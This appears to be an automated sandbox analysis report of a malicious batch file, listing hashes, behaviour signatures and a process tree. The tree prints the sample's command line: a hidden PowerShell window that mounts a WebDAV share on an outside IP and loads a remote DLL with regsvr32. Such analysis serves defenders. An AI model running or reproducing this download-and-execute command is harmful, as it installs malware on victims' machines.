Analysis

  • max time kernel
    120s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    20/07/2024, 19:38

General

  • Target

    3180316451584230620.bat

  • Size

    18KB

  • MD5

    439b799885181bbf8b309403f67c29f4

  • SHA1

    a4a2c42caf4b9a6851150d6f5ef85a30610d9145

  • SHA256

    e5e409afda622e6e4f7aea38d5479891c3bca072fd5dd3a799bfce9b34ffca02

  • SHA512

    b6c1a821510c7acb514dcf42d51401a0f6c7094453fb34310716e0578787be79a03abfad12f39e60cbe978890b32db9be9e39c4386e92251a48936d463282d42

  • SSDEEP

    384:qO1I0zW4Y8jtaHwQ1WXce2LY6bMYHS31XmnuHr8DgU4YOdZDpwj5FA:qpaW4Y8jtaHwQ1WXHY9b431WzWLVAA

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\3180316451584230620.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:308
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\195922111214787.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2244
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2688
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\195922111214787.dll
          3⤵
            PID:2820

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • memory/2244-23-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

              Filesize

              2.9MB

            • memory/2244-24-0x0000000002250000-0x0000000002258000-memory.dmp

              Filesize

              32KB